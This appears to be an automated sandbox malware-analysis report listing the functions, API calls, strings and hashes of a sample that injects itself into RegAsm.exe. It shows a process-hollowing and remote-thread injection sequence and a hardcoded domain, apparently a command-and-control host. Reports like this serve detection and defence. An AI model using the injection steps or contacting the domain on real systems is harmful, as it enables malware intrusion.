Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 8de93726e1db0ab7a75258fb5b63cf552d8fd0382aa7aef6a866201297643e46
Instruction ID: cef880e6a4d0f7a2c0bad05a337524f184ff0b5021233011f60968672a6aafd4
Opcode Fuzzy Hash: 8de93726e1db0ab7a75258fb5b63cf552d8fd0382aa7aef6a866201297643e46
Instruction Fuzzy Hash: CB118B70404B80AED320DF68C801757BBE4AF19714F008A5EE49A87B81D7B9A608CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C9DEC3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00C9DF0A

Strings

CorExitProcess, xrefs: 00C9DF02
mscoree.dll, xrefs: 00C9DEF1

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AddressProc
String ID: CorExitProcess$mscoree.dll
API String ID: 190572456-1276376045
Opcode ID: 813192b8b1d16427ad6346712e8080e10a8256623eb739baff9a330d0a01d732
Instruction ID: e20f462427a46ab696d1feae326f0259e5a38529073596f2647ace192648f3c7
Opcode Fuzzy Hash: 813192b8b1d16427ad6346712e8080e10a8256623eb739baff9a330d0a01d732
Instruction Fuzzy Hash: 4A018472554756AFCB118F80DC09FBEB7B9FB04B50F000529E812E2290DB749A04CA60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: oRkIPIEeryat7GMgjkBr.exePID: 7092, Parent PID: 6736COMMON

Execution Graph

Execution Coverage:	41.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	15%
Total number of Nodes:	40
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02CE2549 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02CE26B8
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CE26CB
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02CE26E9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02CE270D
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02CE2738
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 02CE2790
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 02CE27DB
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02CE2819
Wow64SetThreadContext.KERNEL32(?,?), ref: 02CE2855
ResumeThread.KERNELBASE(?), ref: 02CE2864

Strings

Load, xrefs: 02CE2587
ress, xrefs: 02CE25D3
aryA, xrefs: 02CE258F
GetP, xrefs: 02CE25CB

Memory Dump Source

Source File: 00000006.00000002.1849394239.0000000002CE2000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CE2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2ce2000_oRkIPIEeryat7GMgjkBr.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: cdcfbc631243b7b6c42388bc76dd9a32f96d7b279e4d518af497f94d1e7d9e19
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 1DB1D67664024AAFDB60CF68CC80BDA77A9FF88714F158524EA0CEB341D774FA518B94

Uniqueness

Uniqueness Score: -1.00%

Function 01160A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 483
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03CE3584,?,?,?), ref: 01160FC9

Strings

0, xrefs: 01160B43

Memory Dump Source

Source File: 00000006.00000002.1849169173.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1160000_oRkIPIEeryat7GMgjkBr.jbxd

Similarity

API ID: ProtectVirtual
String ID: 0
API String ID: 544645111-4108050209
Opcode ID: f9482c25f429c039ac0933aab2bd20941a630275386bec5fd4093bf855ce4a23
Instruction ID: 1fd9a57969e2cbbb590d7b10343f600ea94db3348f640734d366f1fe9540334e
Opcode Fuzzy Hash: f9482c25f429c039ac0933aab2bd20941a630275386bec5fd4093bf855ce4a23
Instruction Fuzzy Hash: AE129C309002558FCB0ACF69C480AADFFF5AF4E310F69C599E458AB266C731F991CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01161011 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 011610B4

Memory Dump Source

Source File: 00000006.00000002.1849169173.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1160000_oRkIPIEeryat7GMgjkBr.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: feecc7a73a3fe4051b1c39243376ec349292a5449179f562b38e1280a76128f1
Instruction ID: 6f89b1c3726dfd1cb55e8369a999eff12f2953a7e19c314396c131024bf54287
Opcode Fuzzy Hash: feecc7a73a3fe4051b1c39243376ec349292a5449179f562b38e1280a76128f1
Instruction Fuzzy Hash: E131F2B1900249EFCB14CFA9D984ADEBBF4FF48314F208029E958A7210D375A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 01160500 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 011610B4

Memory Dump Source

Source File: 00000006.00000002.1849169173.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1160000_oRkIPIEeryat7GMgjkBr.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 0499d15548f0de0872fc683b3db82e487f28742587ca4c17156c1ccc48a5df80
Instruction ID: addb1a5fe7b2a00f6c23e4a1ec58b60413bb538e0c04e0cc72c96fd74afc5b47
Opcode Fuzzy Hash: 0499d15548f0de0872fc683b3db82e487f28742587ca4c17156c1ccc48a5df80
Instruction Fuzzy Hash: C73104B5900249EFCF14CF99D984ADEBBF4FB48310F108029E919A7310D375A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 011604F4 Relevance: 1.6, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03CE3584,?,?,?), ref: 01160FC9

Memory Dump Source

Source File: 00000006.00000002.1849169173.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1160000_oRkIPIEeryat7GMgjkBr.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0c8df6915ae22d7843f72d471a9061d5f414f7ad9e5e977487b13715d1d5a281
Instruction ID: 12e95e80e493fd2d375853e23984e049b4c7415a18514553651ecfb6d22225bb
Opcode Fuzzy Hash: 0c8df6915ae22d7843f72d471a9061d5f414f7ad9e5e977487b13715d1d5a281
Instruction Fuzzy Hash: 3A2115B1901219EFCB00CF9AC885BDEFBB8FB08310F10816AE918B7240D375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 1740, Parent PID: 7092COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.1%
Total number of Nodes:	311
Total number of Limit Nodes:	18

Executed Functions

Function 00421670 Relevance: 10.5, Strings: 8, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e!}', xrefs: 004216F9
}%m;, xrefs: 00421700
@-t#, xrefs: 004216F2
-Uk, xrefs: 00421772
U=^3, xrefs: 0042170E
l9h?, xrefs: 00421707
M.C, xrefs: 00421736
m1w7, xrefs: 00421718

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction ID: 6a773ac881d51c05e7616f0b7475f283f1ec1e9526ef155ff2a7bcc4ebfbe97b
Opcode Fuzzy Hash: 858b31ac3e56d838458b62c7e55d528acdb4f791de3a11f7d4d9e133cc0d2170
Instruction Fuzzy Hash: F90259B5600B008BE328CF25D891B67B7E1FB89705F548A2DD5DA8BBA1EB74F405CB44

Uniqueness

Uniqueness Score: -1.00%

Function 004216CE Relevance: 10.5, Strings: 8, Instructions: 462
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e!}', xrefs: 004216F9
}%m;, xrefs: 00421700
@-t#, xrefs: 004216F2
-Uk, xrefs: 00421772
U=^3, xrefs: 0042170E
l9h?, xrefs: 00421707
M.C, xrefs: 00421736
m1w7, xrefs: 00421718

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: M.C$-Uk$@-t#$U=^3$e!}'$l9h?$m1w7$}%m;
API String ID: 0-2617895959
Opcode ID: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction ID: 87eb36321ec09d9b3df0e99b7a0e046060a02d9914ae414ceb22da4e37e7cf2a
Opcode Fuzzy Hash: 169af5ad51359e6c2a3cafa0f7d221ece67d597ccbb47c9164488c1cbe9f2b78
Instruction Fuzzy Hash: 63F137B5200B00CBE328CF25D891B67B7E1FB49705F548A6DD5DA8BAA1EB74F441CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00425183 Relevance: 8.1, APIs: 2, Strings: 2, Instructions: 1113COMMON

Download Yara Rule

Strings

= 'Q, xrefs: 00425EF2
cfbe, xrefs: 00425CFE

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: = 'Q$cfbe
API String ID: 0-911374196
Opcode ID: 6d61d4dcef794e29638592454722497267c9adfd5ffa75ec27e31235a934c28e
Instruction ID: bb3565213d9b5af794c0b6c16da6f42ae929365bcb1d7bd06dd9ed2123aaf00f
Opcode Fuzzy Hash: 6d61d4dcef794e29638592454722497267c9adfd5ffa75ec27e31235a934c28e
Instruction Fuzzy Hash: B8924970245B908EE726CB35D494BE3BBE1BF17344F84099DD4EB8B282C77AA405CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00409D20 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j, xrefs: 0040A02C
Y!N#, xrefs: 0040A1EC
b, xrefs: 0040A166
0, xrefs: 00409D96
tQpS, xrefs: 0040A20C

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$Y!N#$b$j$tQpS
API String ID: 0-1561506603
Opcode ID: fbdca97d7b5b8bd9867f2ab60e92d600497daf09618555274c6545db3ae8f586
Instruction ID: 77bbfa77775ed737320afc19213c5ed02593b238c67c5d09a0c0deb4d33d9e09
Opcode Fuzzy Hash: fbdca97d7b5b8bd9867f2ab60e92d600497daf09618555274c6545db3ae8f586
Instruction Fuzzy Hash: 221212B02083819BE324CF15C4A4B5BBBE2BBC6308F545D2DE4D59B392D779D8098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004384D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D1B7, xrefs: 0043853B
D1B7, xrefs: 00438412

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: D1B7$D1B7
API String ID: 0-2576811906
Opcode ID: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction ID: 227d40b3051d5b9f1c8533b328a387a81ecb6462684d2791c386ca89a2a782a0
Opcode Fuzzy Hash: 60bdf6df0d9da367abe9cafd864840737e1feb61e3c6acb89e3bd56984f3b0f9
Instruction Fuzzy Hash: BE516CB4518301ABD708DF10D9A172FBBE2BBCA708F04992CE48547351E7B88D05EB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00415B57 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

v, xrefs: 004160D9

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: v
API String ID: 0-1801730948
Opcode ID: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction ID: c80b823732e71f4cdd7a44ad5e5a1a1d83ce3d0079143c9f8b25ab05eee7cb54
Opcode Fuzzy Hash: 233739d0e7ffd3f581b2dd250cda54125e3c87964c33640d052a77960d3d9fd8
Instruction Fuzzy Hash: 69E1DFB15083419FD324CF14C48179FBBE2AFD5308F588A6EE4998B392E739D845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00421F80 Relevance: 2.9, Strings: 2, Instructions: 369COMMON

Download Yara Rule

Strings

vSUN, xrefs: 004223BA
A\]D, xrefs: 00422356

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: A\]D$vSUN
API String ID: 2994545307-3118794373
Opcode ID: ec616842d889afad07b2ab96f2a3b507bd2965400d8841d8a2506f832f9cda12
Instruction ID: 035f47e295922484c15501f127bff06197c6eb06fd4f10a441f5a1a71ebf76b5
Opcode Fuzzy Hash: ec616842d889afad07b2ab96f2a3b507bd2965400d8841d8a2506f832f9cda12
Instruction Fuzzy Hash: 58C1EEB1608361AFD710CF18D580B2BB7E1FB99318F54892EE5C497342D3B9D905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004212B0 Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

s}, xrefs: 00421580
EBC, xrefs: 00421339

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: s}$EBC
API String ID: 0-541026534
Opcode ID: fb2f0fbeb1042633251d49655d5c2928f3e20c5a302b4eecd125761bc4d1844e
Instruction ID: d7b96847a59d0831858f5b8d16e64329f0c99a4ad7ef32cd16afe207355252a1
Opcode Fuzzy Hash: fb2f0fbeb1042633251d49655d5c2928f3e20c5a302b4eecd125761bc4d1844e
Instruction Fuzzy Hash: AB91A5B06083518BD724CF14D89076BBBF1FF92358F548A1DE4A68B391E378D909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00435ACB Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00435B5D

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction ID: ed305ee78db003560d5c2f81a7b8d567382a75ce1c99dc0f9374550bddc06ea8
Opcode Fuzzy Hash: f21a35c5c3999f510f2e72610054c5e10ecc36b1628d5fe1b25180f555448144
Instruction Fuzzy Hash: 0611E2705083419FE708CF10D46476BFBA1EBC5318F108A1DE8A92B681C379D90ACB86

Uniqueness

Uniqueness Score: -1.00%

Function 00435B70 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043A5F6,005C003F,00000006,00120089,?,00000018,gxyz,?,0041518F), ref: 00435B9D

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: e4f63ef377a97c2914c676668e3278340bf37c640bd7ba7daadddd8153819c93
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 26E0B675509606EBDA05DF45C14051FF7E2BFC4714FA5C88DE88463204C7B4BD45DA42

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE30 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043AE98

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: gxyz
API String ID: 0-2474275795
Opcode ID: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction ID: e7b234e54a7d762bb6a3bd1b4f03db8f12db98f9d7bb1013814233ca64f7ddf6
Opcode Fuzzy Hash: 7cd865df7580e3a3251fbc4e571994a29d3f672298f33b1a4ae226595439b4e2
Instruction Fuzzy Hash: F281CA72A043129BD714CF14C8A0B6BB3A1FF88364F25991EE9955B391D338EC15CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043B800 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

gxyz, xrefs: 0043B898

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: gxyz
API String ID: 2994545307-2474275795
Opcode ID: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction ID: d5821ae3abbd5b49496d0d32a43c6cb899c31e2747818077e51798368a7f3181
Opcode Fuzzy Hash: 19e827949be7d9c90c52f93cbe7905a439d5d0436ab1b3d3fe8e59ff32325d39
Instruction Fuzzy Hash: FB81DD71608302AFD718CF14D890B2BBBA5EF89354F18991DE9958B391D338E945CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00415390 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

789:, xrefs: 004153B8

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 789:
API String ID: 0-2924019492
Opcode ID: 10cc4ab24c7f48d7c6fa18d5fa84f84423c8fc5c7e04cbeddc6c84a1160124f3
Instruction ID: 3d07bc301c4762b4c6ee5a7646427adc52170538d6ac221be9eba05a27c8a57f
Opcode Fuzzy Hash: 10cc4ab24c7f48d7c6fa18d5fa84f84423c8fc5c7e04cbeddc6c84a1160124f3
Instruction Fuzzy Hash: AA218E78210A40CFE728CF14D8A0B67B3A2FF8A349F64492DD5C647B91E775B841CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00417239 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction ID: 86805473c38cceb78552a0540260a6a94279074ff3da8f2079f33daa4ad5654a
Opcode Fuzzy Hash: 39a9474f83705d2a35e3a7ed89a71eb199a025ff3331637dbb258dee97e69e13
Instruction Fuzzy Hash: D1C141B0510B008BD725CF20C4A46A7BBF2FF85314F545E1DD5A74BAA1D778E54ACB88

Uniqueness

Uniqueness Score: -1.00%

Function 0042A936 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction ID: 235f7b0fceadf091eafc56df715b5c09dc53dff0cccafe78ca5562ce20de9adc
Opcode Fuzzy Hash: 61828c0bb65060645607b7bcf0ba44af168b99c9bcfbadb5323aba25d4cd7529
Instruction Fuzzy Hash: 38F0D4B5508381CFD320DF25C94574BBBE5BBC4304F15C92EE88587291D7B9A406CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A245 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 0042A384

Strings

!, xrefs: 0042A2A3
3, xrefs: 0042A273
:, xrefs: 0042A283
;, xrefs: 0042A2C3
D, xrefs: 0042A293
%, xrefs: 0042A2B3
6, xrefs: 0042A2D3

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;$D
API String ID: 2525500382-2591950249
Opcode ID: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction ID: 963f1b3e5fd6771a7d36494be66c3600f40f07d37cb3ae169d65202430aa07ab
Opcode Fuzzy Hash: 511d7fbf50cccccdc7858a347d8d5263d77f1ec6d27186fb6dd458a649bd9444
Instruction Fuzzy Hash: 5941B07010CBC18ED331CB29C89878BBBE1ABD6315F044A5DE4E98B391C779950ACB57

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBF0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040DE17
ExitProcess.KERNEL32 ref: 0040DE26
ExitProcess.KERNEL32 ref: 0040DE35
ExitProcess.KERNEL32 ref: 0040DE44

Strings

bordersoarmanusjuw.shop, xrefs: 0040E11C
8C, xrefs: 0040DC75

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$bordersoarmanusjuw.shop
API String ID: 621844428-3969398216
Opcode ID: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction ID: c3754cf6d4af3efd44086515a8e4feea577dce0be4ef3330c692d516742b2779
Opcode Fuzzy Hash: 8dad07c21383834f3d784b1eea64f292f0b2ee3006e30451b3dd8b1a3a3652c0
Instruction Fuzzy Hash: A8222860008BC1CED726CF388498716BFA16B26224F1987DDD8E64F7E7C3759509CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5D0 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 399
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040D824
ExitProcess.KERNEL32 ref: 0040D830
ExitProcess.KERNEL32 ref: 0040D83F
ExitProcess.KERNEL32 ref: 0040D851

Strings

bordersoarmanusjuw.shop, xrefs: 0040DB3D
8C, xrefs: 0040D67B

Memory Dump Source

Source File: 00000007.00000002.1920199999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: 8C$bordersoarmanusjuw.shop
